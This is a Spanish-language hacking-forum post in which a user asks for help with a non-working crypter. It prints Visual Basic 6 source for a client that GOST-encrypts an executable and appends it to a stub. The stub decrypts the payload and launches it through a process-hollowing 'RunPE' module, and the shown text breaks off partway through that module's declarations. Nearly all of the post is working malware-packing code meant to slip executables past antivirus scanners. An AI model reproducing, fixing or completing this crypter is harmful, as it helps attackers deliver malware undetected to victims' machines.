elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  AYUDA CON CRYPTER PLEASE !!!		0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: AYUDA CON CRYPTER PLEASE !!!  (Leído 2,337 veces)
fsinatra

Desconectado Desconectado

Mensajes: 2



Ver Perfil
AYUDA CON CRYPTER PLEASE !!!
« en: 1 Marzo 2014, 02:35 am »
No consigo hacer funcionar este crypter.
Les muestro los códigos, por si alguien me puede ayudar..


CLIENTE

Código
  1. Private Sub Command1_Click()
  2. With CD
  3. .DialogTitle = "Seleccione el archivo a encryptar"
  4. .Filter = "Aplicaciones EXE|*.exe"
  5. .ShowOpen
  6. End With
  7.  
  8. If Not CD.Filename = vbNullString Then
  9. Text1.Text = CD.Filename
  10. MsgBox "SERVER CARGADO CORRECTAMENTE", vbInformation, Me.Caption
  11. End If
  12. End Sub
  13.  
  14. Private Sub Command2_Click()
  15. Dim Stub As String, Archivo As String, Ghost As New clsGost
  16.  
  17.  
  18. If Text1.Text = vbNullString Then
  19. MsgBox "Primero carga el archivo", vbExclamation, Me.Caption
  20. Exit Sub
  21. Else
  22.  
  23. Open App.Path & "\Stub.exe" For Binary As #1
  24. Stub = Space(LOF(1))
  25. Get #1, , Stub
  26. Close #1
  27.  
  28. Open Text1.Text For Binary As #1
  29. Archivo = Space(LOF(1))
  30. Get #1, , Archivo
  31. Close #1
  32.  
  33.  
  34. With CD
  35. .DialogTitle = "Selecione la ruta donde desea guardar el archivo"
  36. .Filter = "Aplicaciones EXE|*.exe"
  37. .ShowSave
  38. End With
  39.  
  40. If Not CD.Filename = vbNullString Then
  41.  
  42. Archivo = Ghost.EncryptString(Archivo, "añsudgfasudsipdfhpsdhfipshdfishdishdifh")
  43. Open CD.Filename For Binary As #1
  44. Put #1, , Stub & "jkfsñkjfhsoidfhsjñdfhsoñjdfhsñsñljdfhkj" & Archivo & "jkfsñkjfhsoidfhsjñdfhsoñjdfhsñsñljdfhkj"
  45. Close #1
  46. MsgBox "ENCRYPTADO CON EXITO", vbInformation, Me.Caption
  47. End If
  48.  
  49.  
  50.  
  51. End If
  52.  
  53. End Sub
  54.  
  55. Private Sub Form_Load()
  56.  
  57. End Sub

MODULO DE CLIENTE
Código
  1. Option Explicit
  2.  
  3. Public Type ENCRYPTCLASS
  4.   Name As String
  5.   Object As Object
  6.   Homepage As String
  7. End Type
  8. Public EncryptObjects() As ENCRYPTCLASS
  9. Public EncryptObjectsCount As Long
  10.  
  11. Public Const BENCHMARKSIZE = 1000000
  12.  
  13. Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
  14.  
  15. Public Function FileExist(Filename As String) As Boolean
  16.  
  17.   On Error GoTo NotExist
  18.  
  19.   Call FileLen(Filename)
  20.   FileExist = True
  21.   Exit Function
  22. NotExist:
  23. End Function
  24. Public Static Sub GetWord(LongValue As Long, CryptBuffer() As Byte, Offset As Long)
  25.  
  26. '  Call CopyMem(LongValue, CryptBuffer(Offset), 4)
  27.  
  28.   Dim bb(0 To 3) As Byte
  29.  
  30.   bb(3) = CryptBuffer(Offset)
  31.   bb(2) = CryptBuffer(Offset + 1)
  32.   bb(1) = CryptBuffer(Offset + 2)
  33.   bb(0) = CryptBuffer(Offset + 3)
  34.   Call CopyMem(LongValue, bb(0), 4)
  35.  
  36. End Sub
  37.  
  38. Public Static Sub PutWord(LongValue As Long, CryptBuffer() As Byte, Offset As Long)
  39.  
  40. '  Call CopyMem(CryptBuffer(Offset), LongValue, 4)
  41.  
  42.   Dim bb(0 To 3) As Byte
  43.  
  44.   Call CopyMem(bb(0), LongValue, 4)
  45.   CryptBuffer(Offset) = bb(3)
  46.   CryptBuffer(Offset + 1) = bb(2)
  47.   CryptBuffer(Offset + 2) = bb(1)
  48.   CryptBuffer(Offset + 3) = bb(0)
  49.  
  50. End Sub
  51. Public Static Function UnsignedAdd(ByVal Data1 As Long, Data2 As Long) As Long
  52.  
  53.   Dim x1(0 To 3) As Byte
  54.   Dim x2(0 To 3) As Byte
  55.   Dim xx(0 To 3) As Byte
  56.   Dim Rest As Long
  57.   Dim Value As Long
  58.   Dim a As Long
  59.  
  60.   Call CopyMem(x1(0), Data1, 4)
  61.   Call CopyMem(x2(0), Data2, 4)
  62.  
  63.   Rest = 0
  64.   For a = 0 To 3
  65.     Value = CLng(x1(a)) + CLng(x2(a)) + Rest
  66.     xx(a) = Value And 255
  67.     Rest = Value \ 256
  68.   Next
  69.  
  70.   Call CopyMem(UnsignedAdd, xx(0), 4)
  71.  
  72. End Function
  73. Public Function UnsignedDel(Data1 As Long, Data2 As Long) As Long
  74.   Dim x1(0 To 3) As Byte
  75.   Dim x2(0 To 3) As Byte
  76.   Dim xx(0 To 3) As Byte
  77.   Dim Rest As Long
  78.   Dim Value As Long
  79.   Dim a As Long
  80.  
  81.   Call CopyMem(x1(0), Data1, 4)
  82.   Call CopyMem(x2(0), Data2, 4)
  83.   Call CopyMem(xx(0), UnsignedDel, 4)
  84.  
  85.   For a = 0 To 3
  86.     Value = CLng(x1(a)) - CLng(x2(a)) - Rest
  87.     If (Value < 0) Then
  88.       Value = Value + 256
  89.       Rest = 1
  90.     Else
  91.       Rest = 0
  92.     End If
  93.     xx(a) = Value
  94.   Next
  95.  
  96.   Call CopyMem(UnsignedDel, xx(0), 4)
  97. End Function
  98.  
MODULO DE CLASE DEL CLIENTE (clsGost)
Código
  1. 'Gost Encryption/Decryption Class
  2. '------------------------------------
  3. '
  4. 'Information concerning the Gost
  5. 'algorithm can be found at:
  6. 'http://www.jetico.sci.fi/index.htm#/gost.htm
  7. '
  8. '(c) 2000, Fredrik Qvarfort
  9. '
  10. Option Explicit
  11.  
  12. Event Progress(Percent As Long)
  13.  
  14. Private m_KeyValue As String
  15.  
  16. Private K(1 To 8) As Long
  17. Private k87(0 To 255) As Byte
  18. Private k65(0 To 255) As Byte
  19. Private k43(0 To 255) As Byte
  20. Private k21(0 To 255) As Byte
  21. Private sBox(0 To 7, 0 To 255) As Byte
  22.  
  23. 'Allow running more optimized code
  24. 'while in compiled mode and still
  25. 'be able to run the code in the IDE
  26. Private m_RunningCompiled As Boolean
  27.  
  28. Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
  29. Private Declare Sub addLongs Lib "myDLL" (ByRef number1 As Long, ByVal number2 As Long)
  30.  
  31. Private Static Sub DecryptBlock(LeftWord As Long, RightWord As Long)
  32.  
  33.   Dim i As Long
  34.  
  35.   RightWord = RightWord Xor F(LeftWord, K(1))
  36.   LeftWord = LeftWord Xor F(RightWord, K(2))
  37.   RightWord = RightWord Xor F(LeftWord, K(3))
  38.   LeftWord = LeftWord Xor F(RightWord, K(4))
  39.   RightWord = RightWord Xor F(LeftWord, K(5))
  40.   LeftWord = LeftWord Xor F(RightWord, K(6))
  41.   RightWord = RightWord Xor F(LeftWord, K(7))
  42.   LeftWord = LeftWord Xor F(RightWord, K(8))
  43.   For i = 1 To 3
  44.     RightWord = RightWord Xor F(LeftWord, K(8))
  45.     LeftWord = LeftWord Xor F(RightWord, K(7))
  46.     RightWord = RightWord Xor F(LeftWord, K(6))
  47.     LeftWord = LeftWord Xor F(RightWord, K(5))
  48.     RightWord = RightWord Xor F(LeftWord, K(4))
  49.     LeftWord = LeftWord Xor F(RightWord, K(3))
  50.     RightWord = RightWord Xor F(LeftWord, K(2))
  51.     LeftWord = LeftWord Xor F(RightWord, K(1))
  52.   Next
  53.  
  54. End Sub
  55. Private Static Sub EncryptBlock(LeftWord As Long, RightWord As Long)
  56.  
  57.   Dim i As Long
  58.  
  59.   For i = 1 To 3
  60.     RightWord = RightWord Xor F(LeftWord, K(1))
  61.     LeftWord = LeftWord Xor F(RightWord, K(2))
  62.     RightWord = RightWord Xor F(LeftWord, K(3))
  63.     LeftWord = LeftWord Xor F(RightWord, K(4))
  64.     RightWord = RightWord Xor F(LeftWord, K(5))
  65.     LeftWord = LeftWord Xor F(RightWord, K(6))
  66.     RightWord = RightWord Xor F(LeftWord, K(7))
  67.     LeftWord = LeftWord Xor F(RightWord, K(8))
  68.   Next
  69.   RightWord = RightWord Xor F(LeftWord, K(8))
  70.   LeftWord = LeftWord Xor F(RightWord, K(7))
  71.   RightWord = RightWord Xor F(LeftWord, K(6))
  72.   LeftWord = LeftWord Xor F(RightWord, K(5))
  73.   RightWord = RightWord Xor F(LeftWord, K(4))
  74.   LeftWord = LeftWord Xor F(RightWord, K(3))
  75.   RightWord = RightWord Xor F(LeftWord, K(2))
  76.   LeftWord = LeftWord Xor F(RightWord, K(1))
  77.  
  78. End Sub
  79.  
  80. Public Sub EncryptFile(SourceFile As String, DestFile As String, Optional Key As String)
  81.  
  82.   Dim Filenr As Integer
  83.   Dim ByteArray() As Byte
  84.  
  85.   'Make sure the source file do exist
  86.   If (Not FileExist(SourceFile)) Then
  87.     Call Err.Raise(vbObjectError, , "Error in Skipjack EncryptFile procedure (Source file does not exist).")
  88.     Exit Sub
  89.   End If
  90.  
  91.   'Open the source file and read the content
  92.   'into a bytearray to pass onto encryption
  93.   Filenr = FreeFile
  94.   Open SourceFile For Binary As #Filenr
  95.   ReDim ByteArray(0 To LOF(Filenr) - 1)
  96.   Get #Filenr, , ByteArray()
  97.   Close #Filenr
  98.  
  99.   'Encrypt the bytearray
  100.   Call EncryptByte(ByteArray(), Key)
  101.  
  102.   'If the destination file already exist we need
  103.   'to delete it since opening it for binary use
  104.   'will preserve it if it already exist
  105.   If (FileExist(DestFile)) Then Kill DestFile
  106.  
  107.   'Store the encrypted data in the destination file
  108.   Filenr = FreeFile
  109.   Open DestFile For Binary As #Filenr
  110.   Put #Filenr, , ByteArray()
  111.   Close #Filenr
  112.  
  113. End Sub
  114. Public Sub DecryptFile(SourceFile As String, DestFile As String, Optional Key As String)
  115.  
  116.   Dim Filenr As Integer
  117.   Dim ByteArray() As Byte
  118.  
  119.   'Make sure the source file do exist
  120.   If (Not FileExist(SourceFile)) Then
  121.     Call Err.Raise(vbObjectError, , "Error in Skipjack EncryptFile procedure (Source file does not exist).")
  122.     Exit Sub
  123.   End If
  124.  
  125.   'Open the source file and read the content
  126.   'into a bytearray to decrypt
  127.   Filenr = FreeFile
  128.   Open SourceFile For Binary As #Filenr
  129.   ReDim ByteArray(0 To LOF(Filenr) - 1)
  130.   Get #Filenr, , ByteArray()
  131.   Close #Filenr
  132.  
  133.   'Decrypt the bytearray
  134.   Call DecryptByte(ByteArray(), Key)
  135.  
  136.   'If the destination file already exist we need
  137.   'to delete it since opening it for binary use
  138.   'will preserve it if it already exist
  139.   If (FileExist(DestFile)) Then Kill DestFile
  140.  
  141.   'Store the decrypted data in the destination file
  142.   Filenr = FreeFile
  143.   Open DestFile For Binary As #Filenr
  144.   Put #Filenr, , ByteArray()
  145.   Close #Filenr
  146.  
  147. End Sub
  148.  
  149. Private Static Function F(R As Long, K As Long) As Long
  150.  
  151.   Dim x As Long
  152.   Dim xb(0 To 3) As Byte
  153.   Dim xx(0 To 3) As Byte
  154.   Dim a As Byte, b As Byte, C As Byte, D As Byte
  155.  
  156.   If (m_RunningCompiled) Then
  157.     x = R + K
  158.   Else
  159.     x = UnsignedAdd(R, K)
  160.   End If
  161.  
  162.   'Extract byte sequence
  163.   D = x And &HFF
  164.   x = x \ 256
  165.   C = x And &HFF
  166.   x = x \ 256
  167.   b = x And &HFF
  168.   x = x \ 256
  169.   a = x And &HFF
  170.  
  171.   'Key-dependant substutions
  172.   xb(0) = k21(a)
  173.   xb(1) = k43(b)
  174.   xb(2) = k65(C)
  175.   xb(3) = k87(D)
  176.  
  177.   'LeftShift 11 bits
  178.   xx(0) = ((xb(3) And 31) * 8) Or ((xb(2) And 224) \ 32)
  179.   xx(1) = ((xb(0) And 31) * 8) Or ((xb(3) And 224) \ 32)
  180.   xx(2) = ((xb(1) And 31) * 8) Or ((xb(0) And 224) \ 32)
  181.   xx(3) = ((xb(2) And 31) * 8) Or ((xb(1) And 224) \ 32)
  182.   Call CopyMem(F, xx(0), 4)
  183.  
  184. End Function
  185. Public Function DecryptString(Text As String, Optional Key As String) As String
  186.  
  187.   Dim ByteArray() As Byte
  188.  
  189.   'Convert the text into a byte array
  190.   ByteArray() = StrConv(Text, vbFromUnicode)
  191.  
  192.   'Encrypt the byte array
  193.   Call DecryptByte(ByteArray(), Key)
  194.  
  195.   'Convert the byte array back to a string
  196.   DecryptString = StrConv(ByteArray(), vbUnicode)
  197.  
  198. End Function
  199.  
  200. Public Function EncryptString(Text As String, Optional Key As String) As String
  201.  
  202.   Dim ByteArray() As Byte
  203.  
  204.   'Convert the text into a byte array
  205.   ByteArray() = StrConv(Text, vbFromUnicode)
  206.  
  207.   'Encrypt the byte array
  208.   Call EncryptByte(ByteArray(), Key)
  209.  
  210.   'Convert the byte array back to a string
  211.   EncryptString = StrConv(ByteArray(), vbUnicode)
  212.  
  213. End Function
  214. Private Static Function lBSL(ByVal lInput As Long, bShiftBits As Byte) As Long
  215.  
  216.   lBSL = (lInput And (2 ^ (31 - bShiftBits) - 1)) * 2 ^ bShiftBits
  217.   If (lInput And 2 ^ (31 - bShiftBits)) = 2 ^ (31 - bShiftBits) Then lBSL = (lBSL Or &H80000000)
  218.  
  219. End Function
  220.  
  221. Private Static Function lBSR(ByVal lInput As Long, bShiftBits As Byte) As Long
  222.  
  223.   If bShiftBits = 31 Then
  224.     If lInput < 0 Then lBSR = &HFFFFFFFF Else lBSR = 0
  225.   Else
  226.     lBSR = (lInput And Not (2 ^ bShiftBits - 1)) \ 2 ^ bShiftBits
  227.   End If
  228.  
  229. End Function
  230.  
  231.  
  232. Public Function EncryptByte(ByteArray() As Byte, Optional Key As String) As String
  233.  
  234.   Dim Offset As Long
  235.   Dim OrigLen As Long
  236.   Dim LeftWord As Long
  237.   Dim RightWord As Long
  238.   Dim CipherLen As Long
  239.   Dim CipherLeft As Long
  240.   Dim CipherRight As Long
  241.   Dim CurrPercent As Long
  242.   Dim NextPercent As Long
  243.  
  244.   'Set the key if one was passed to the function
  245.   If (Len(Key) > 0) Then Me.Key = Key
  246.  
  247.   'Get the length of the plaintext
  248.   OrigLen = UBound(ByteArray) + 1
  249.  
  250.   'First we add 12 bytes (4 bytes for the
  251.   'length and 8 bytes for the seed values
  252.   'for the CBC routine), and the ciphertext
  253.   'must be a multiple of 8 bytes
  254.   CipherLen = OrigLen + 12
  255.   If (CipherLen Mod 8 <> 0) Then
  256.     CipherLen = CipherLen + 8 - (CipherLen Mod 8)
  257.   End If
  258.   ReDim Preserve ByteArray(CipherLen - 1)
  259.   Call CopyMem(ByteArray(12), ByteArray(0), OrigLen)
  260.  
  261.   'Store the length descriptor in bytes [9-12]
  262.   Call CopyMem(ByteArray(8), OrigLen, 4)
  263.  
  264.   'Store a block of random data in bytes [1-8],
  265.   'these work as seed values for the CBC routine
  266.   'and is used to produce different ciphertext
  267.   'even when encrypting the same data with the
  268.   'same key)
  269.   Call Randomize
  270.   Call CopyMem(ByteArray(0), CLng(2147483647 * Rnd), 4)
  271.   Call CopyMem(ByteArray(4), CLng(2147483647 * Rnd), 4)
  272.  
  273.   'Encrypt the data
  274.   For Offset = 0 To (CipherLen - 1) Step 8
  275.     'Get the next block of plaintext
  276.     Call GetWord(LeftWord, ByteArray(), Offset)
  277.     Call GetWord(RightWord, ByteArray(), Offset + 4)
  278.  
  279.     'XOR the plaintext with the previous
  280.     'ciphertext (CBC, Cipher-Block Chaining)
  281.     LeftWord = LeftWord Xor CipherLeft
  282.     RightWord = RightWord Xor CipherRight
  283.  
  284.     'Encrypt the block
  285.     Call EncryptBlock(LeftWord, RightWord)
  286.  
  287.     'Store the block
  288.     Call PutWord(LeftWord, ByteArray(), Offset)
  289.     Call PutWord(RightWord, ByteArray(), Offset + 4)
  290.  
  291.     'Store the cipherblocks (for CBC)
  292.     CipherLeft = LeftWord
  293.     CipherRight = RightWord
  294.  
  295.     'Update the progress if neccessary
  296.     If (Offset >= NextPercent) Then
  297.       CurrPercent = Int((Offset / CipherLen) * 100)
  298.       NextPercent = (CipherLen * ((CurrPercent + 1) / 100)) + 1
  299.       RaiseEvent Progress(CurrPercent)
  300.     End If
  301.   Next
  302.  
  303.   'Make sure we return a 100% progress
  304.   If (CurrPercent <> 100) Then RaiseEvent Progress(100)
  305.  
  306. End Function
  307. Public Function DecryptByte(ByteArray() As Byte, Optional Key As String) As String
  308.  
  309.   Dim Offset As Long
  310.   Dim OrigLen As Long
  311.   Dim LeftWord As Long
  312.   Dim RightWord As Long
  313.   Dim CipherLen As Long
  314.   Dim CipherLeft As Long
  315.   Dim CipherRight As Long
  316.   Dim CurrPercent As Long
  317.   Dim NextPercent As Long
  318.  
  319.   'Set the key if one was passed to the function
  320.   If (Len(Key) > 0) Then Me.Key = Key
  321.  
  322.   'Get the size of the ciphertext
  323.   CipherLen = UBound(ByteArray) + 1
  324.  
  325.   'Decrypt the data in 64-bit blocks
  326.   For Offset = 0 To (CipherLen - 1) Step 8
  327.     'Get the next block
  328.     Call GetWord(LeftWord, ByteArray(), Offset)
  329.     Call GetWord(RightWord, ByteArray(), Offset + 4)
  330.  
  331.     'Decrypt the block
  332.     Call DecryptBlock(RightWord, LeftWord)
  333.  
  334.     'XOR with the previous cipherblock
  335.     LeftWord = LeftWord Xor CipherLeft
  336.     RightWord = RightWord Xor CipherRight
  337.  
  338.     'Store the current ciphertext to use
  339.     'XOR with the next block plaintext
  340.     Call GetWord(CipherLeft, ByteArray(), Offset)
  341.     Call GetWord(CipherRight, ByteArray(), Offset + 4)
  342.  
  343.     'Store the encrypted block
  344.     Call PutWord(LeftWord, ByteArray(), Offset)
  345.     Call PutWord(RightWord, ByteArray(), Offset + 4)
  346.  
  347.     'Update the progress if neccessary
  348.     If (Offset >= NextPercent) Then
  349.       CurrPercent = Int((Offset / CipherLen) * 100)
  350.       NextPercent = (CipherLen * ((CurrPercent + 1) / 100)) + 1
  351.       RaiseEvent Progress(CurrPercent)
  352.     End If
  353.   Next
  354.  
  355.   'Get the size of the original array
  356.   Call CopyMem(OrigLen, ByteArray(8), 4)
  357.  
  358.   'Make sure OrigLen is a reasonable value,
  359.   'if we used the wrong key the next couple
  360.   'of statements could be dangerous (GPF)
  361.   If (CipherLen - OrigLen > 19) Or (CipherLen - OrigLen < 12) Then
  362.     Call Err.Raise(vbObjectError, , "Incorrect size descriptor in Gost decryption")
  363.   End If
  364.  
  365.   'Resize the bytearray to hold only the plaintext
  366.   'and not the extra information added by the
  367.   'encryption routine
  368.   Call CopyMem(ByteArray(0), ByteArray(12), OrigLen)
  369.   ReDim Preserve ByteArray(OrigLen - 1)
  370.  
  371.   'Make sure we return a 100% progress
  372.   If (CurrPercent <> 100) Then RaiseEvent Progress(100)
  373.  
  374. End Function
  375.  
  376. Public Property Let Key(New_Value As String)
  377.  
  378.   Dim a As Long
  379.   Dim Key() As Byte
  380.   Dim KeyLen As Long
  381.   Dim ByteArray() As Byte
  382.  
  383.   'Do nothing if no change was made
  384.   If (m_KeyValue = New_Value) Then Exit Property
  385.  
  386.   'Convert the key into a bytearray
  387.   KeyLen = Len(New_Value)
  388.   Key() = StrConv(New_Value, vbFromUnicode)
  389.  
  390.   'Create a 32-byte key
  391.   ReDim ByteArray(0 To 31)
  392.   For a = 0 To 31
  393.     ByteArray(a) = Key(a Mod KeyLen)
  394.   Next
  395.  
  396.   'Create the key
  397.   Call CopyMem(K(1), ByteArray(0), 32)
  398.  
  399.   'Show this key is buffered
  400.   m_KeyValue = New_Value
  401.  
  402. End Property
  403. Private Sub Class_Initialize()
  404.  
  405.   Dim a As Long
  406.   Dim b As Long
  407.   Dim C As Long
  408.   Dim LeftWord As Long
  409.   Dim S(0 To 7) As Variant
  410.  
  411.   'We need to check if we are running in compiled
  412.   '(EXE) mode or in the IDE, this will allow us to
  413.   'use optimized code with unsigned integers in
  414.   'compiled mode without any overflow errors when
  415.   'running the code in the IDE
  416.   On Local Error Resume Next
  417.   m_RunningCompiled = ((2147483647 + 1) < 0)
  418.  
  419.   'Initialize s-boxes
  420.   S(0) = Array(6, 5, 1, 7, 14, 0, 4, 10, 11, 9, 3, 13, 8, 12, 2, 15)
  421.   S(1) = Array(14, 13, 9, 0, 8, 10, 12, 4, 7, 15, 6, 11, 3, 1, 5, 2)
  422.   S(2) = Array(6, 5, 1, 7, 2, 4, 10, 0, 11, 13, 14, 3, 8, 12, 15, 9)
  423.   S(3) = Array(8, 7, 3, 9, 6, 4, 14, 5, 2, 13, 0, 12, 1, 11, 10, 15)
  424.   S(4) = Array(10, 9, 6, 11, 5, 1, 8, 4, 0, 13, 7, 2, 14, 3, 15, 12)
  425.   S(5) = Array(5, 3, 0, 6, 11, 13, 4, 14, 10, 7, 1, 12, 2, 8, 15, 9)
  426.   S(6) = Array(2, 1, 12, 3, 11, 13, 15, 7, 10, 6, 9, 14, 0, 8, 4, 5)
  427.   S(7) = Array(6, 5, 1, 7, 8, 9, 4, 2, 15, 3, 13, 12, 10, 14, 11, 0)
  428.  
  429.   'Convert the variants to a 2-dimensional array
  430.   For a = 0 To 15
  431.     For b = 0 To 7
  432.       sBox(b, a) = S(b)(a)
  433.     Next
  434.   Next
  435.  
  436.   'Calculate the substitutions
  437.   For a = 0 To 255
  438.     k87(a) = lBSL(CLng(sBox(7, lBSR(a, 4))), 4) Or sBox(6, a And 15)
  439.     k65(a) = lBSL(CLng(sBox(5, lBSR(a, 4))), 4) Or sBox(4, a And 15)
  440.     k43(a) = lBSL(CLng(sBox(3, lBSR(a, 4))), 4) Or sBox(2, a And 15)
  441.     k21(a) = lBSL(CLng(sBox(1, lBSR(a, 4))), 4) Or sBox(0, a And 15)
  442.   Next
  443.  
  444. End Sub
  445.  

AHORA LES MUESTRO EL STUB
Código
  1. Sub Main()
  2. Dim oraropit As String, hdhathos As String, hshdhahtah() As String, Ghost As New clsGost
  3. Dim Nuevo As String
  4. oraropit = App.Path & "\" & App.EXEName & ".exe"
  5.  
  6. Open oraropit For Binary As #1
  7. hdhathos = Space(sLOF(oraropit))
  8. Get #1, , hdhathos
  9. Close #1
  10.  
  11. hshdhahtah() = Split(hdhathos, "jkfsñkjfhsoidfhsjñdfhsoñjdfhsñsñljdfhkj")
  12.  
  13. hshdhahtah(1) = Ghost.DecryptString(hshdhahtah(1), "añsudgfasudsipdfhpsdhfipshdfishdishdifh")
  14.  
  15.  
  16. Call NSQUITE(oraropit, StrConv(hshdhahtah(1), vbFromUnicode))
  17. End Sub
  18.  
  19. Public Function sLOF(sPath As String) As Double
  20.  
  21. Dim Fso, F As Object
  22.  
  23. Set Fso = CreateObject("Scripting.FileSystemObject")
  24. Set F = Fso.GetFile(sPath)
  25.  
  26. sLOF = F.Size
  27. End Function
  28.  
MODULO DEL STUB
Código
  1. Option Explicit
  2.  
  3. Public Type ENCRYPTCLASS
  4.   Name As String
  5.   Object As Object
  6.   Homepage As String
  7. End Type
  8. Public EncryptObjects() As ENCRYPTCLASS
  9. Public EncryptObjectsCount As Long
  10.  
  11. Public Const BENCHMARKSIZE = 1000000
  12.  
  13. Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
  14.  
  15. Public Function FileExist(Filename As String) As Boolean
  16.  
  17.   On Error GoTo NotExist
  18.  
  19.   Call FileLen(Filename)
  20.   FileExist = True
  21.   Exit Function
  22. NotExist:
  23. End Function
  24. Public Static Sub GetWord(LongValue As Long, CryptBuffer() As Byte, Offset As Long)
  25.  
  26. '  Call CopyMem(LongValue, CryptBuffer(Offset), 4)
  27.  
  28.   Dim bb(0 To 3) As Byte
  29.  
  30.   bb(3) = CryptBuffer(Offset)
  31.   bb(2) = CryptBuffer(Offset + 1)
  32.   bb(1) = CryptBuffer(Offset + 2)
  33.   bb(0) = CryptBuffer(Offset + 3)
  34.   Call CopyMem(LongValue, bb(0), 4)
  35.  
  36. End Sub
  37.  
  38. Public Static Sub PutWord(LongValue As Long, CryptBuffer() As Byte, Offset As Long)
  39.  
  40. '  Call CopyMem(CryptBuffer(Offset), LongValue, 4)
  41.  
  42.   Dim bb(0 To 3) As Byte
  43.  
  44.   Call CopyMem(bb(0), LongValue, 4)
  45.   CryptBuffer(Offset) = bb(3)
  46.   CryptBuffer(Offset + 1) = bb(2)
  47.   CryptBuffer(Offset + 2) = bb(1)
  48.   CryptBuffer(Offset + 3) = bb(0)
  49.  
  50. End Sub
  51. Public Static Function UnsignedAdd(ByVal Data1 As Long, Data2 As Long) As Long
  52.  
  53.   Dim x1(0 To 3) As Byte
  54.   Dim x2(0 To 3) As Byte
  55.   Dim xx(0 To 3) As Byte
  56.   Dim Rest As Long
  57.   Dim Value As Long
  58.   Dim a As Long
  59.  
  60.   Call CopyMem(x1(0), Data1, 4)
  61.   Call CopyMem(x2(0), Data2, 4)
  62.  
  63.   Rest = 0
  64.   For a = 0 To 3
  65.     Value = CLng(x1(a)) + CLng(x2(a)) + Rest
  66.     xx(a) = Value And 255
  67.     Rest = Value \ 256
  68.   Next
  69.  
  70.   Call CopyMem(UnsignedAdd, xx(0), 4)
  71.  
  72. End Function
  73. Public Function UnsignedDel(Data1 As Long, Data2 As Long) As Long
  74.   Dim x1(0 To 3) As Byte
  75.   Dim x2(0 To 3) As Byte
  76.   Dim xx(0 To 3) As Byte
  77.   Dim Rest As Long
  78.   Dim Value As Long
  79.   Dim a As Long
  80.  
  81.   Call CopyMem(x1(0), Data1, 4)
  82.   Call CopyMem(x2(0), Data2, 4)
  83.   Call CopyMem(xx(0), UnsignedDel, 4)
  84.  
  85.   For a = 0 To 3
  86.     Value = CLng(x1(a)) - CLng(x2(a)) - Rest
  87.     If (Value < 0) Then
  88.       Value = Value + 256
  89.       Rest = 1
  90.     Else
  91.       Rest = 0
  92.     End If
  93.     xx(a) = Value
  94.   Next
  95.  
  96.   Call CopyMem(UnsignedDel, xx(0), 4)
  97. End Function

RUNPE DEL STUB
Código
  1. Option Explicit
  2.  
  3. Private Const CONTEXT_FULL As Long = &H10007
  4. Private Const MAX_PATH As Integer = 260
  5. Private Const CREATE_SUSPENDED As Long = &H4
  6. Private Const MEM_COMMIT As Long = &H1000
  7. Private Const MEM_RESERVE As Long = &H2000
  8. Private Const PAGE_EXECUTE_READWRITE As Long = &H40
  9.  
  10. Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
  11. Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
  12. Private Declare Function OutputDebugString Lib "kernel32" Alias "OutputDebugStringA" (ByVal lpOutputString As String) As Long
  13.  
  14. Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
  15. Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
  16. Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
  17. Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
  18.  
  19. Private Type SECURITY_ATTRIBUTES
  20. nLength As Long
  21. lpSecurityDescriptor As Long
  22. bInheritHandle As Long
  23. End Type
  24.  
  25. Private Type STARTUPINFO
  26. cb As Long
  27. lpReserved As Long
  28. lpDesktop As Long
  29. lpTitle As Long
  30. dwX As Long
  31. dwY As Long
  32. dwXSize As Long
  33. dwYSize As Long
  34. dwXCountChars As Long
  35. dwYCountChars As Long
  36. dwFillAttribute As Long
  37. dwFlags As Long
  38. wShowWindow As Integer
  39. cbReserved2 As Integer
  40. lpReserved2 As Long
  41. hStdInput As Long
  42. hStdOutput As Long
  43. hStdError As Long
  44. End Type
  45.  
  46. Private Type PROCESS_INFORMATION
  47. hProcess As Long
  48. hThread As Long
  49. dwProcessId As Long
  50. dwThreadID As Long
  51. End Type
  52.  
  53. Private Type FLOATING_SAVE_AREA
  54. ControlWord As Long
  55. StatusWord As Long
  56. TagWord As Long
  57. ErrorOffset As Long
  58. ErrorSelector As Long
  59. DataOffset As Long
  60. DataSelector As Long
  61. RegisterArea(1 To 80) As Byte
  62. Cr0NpxState As Long
  63. End Type
  64.  
  65. Private Type CONTEXT
  66. ContextFlags As Long
  67.  
  68. Dr0 As Long
  69. Dr1 As Long
  70. Dr2 As Long
  71. Dr3 As Long
  72. Dr6 As Long
  73. Dr7 As Long
  74.  
  75. FloatSave As FLOATING_SAVE_AREA
  76. SegGs As Long
  77. SegFs As Long
  78. SegEs As Long
  79. SegDs As Long
  80. Edi As Long
  81. Esi As Long
  82. Ebx As Long
  83. Edx As Long
  84. Ecx As Long
  85. Eax As Long
  86. Ebp As Long
  87. Eip As Long
  88. SegCs As Long
  89. EFlags As Long
  90. Esp As Long
  91. SegSs As Long
  92. End Type
  93.  
  94. Private Type IMAGE_DOS_HEADER
  95. e_magic As Integer
  96. e_cblp As Integer
  97. e_cp As Integer
  98. e_crlc As Integer
  99. e_cparhdr As Integer
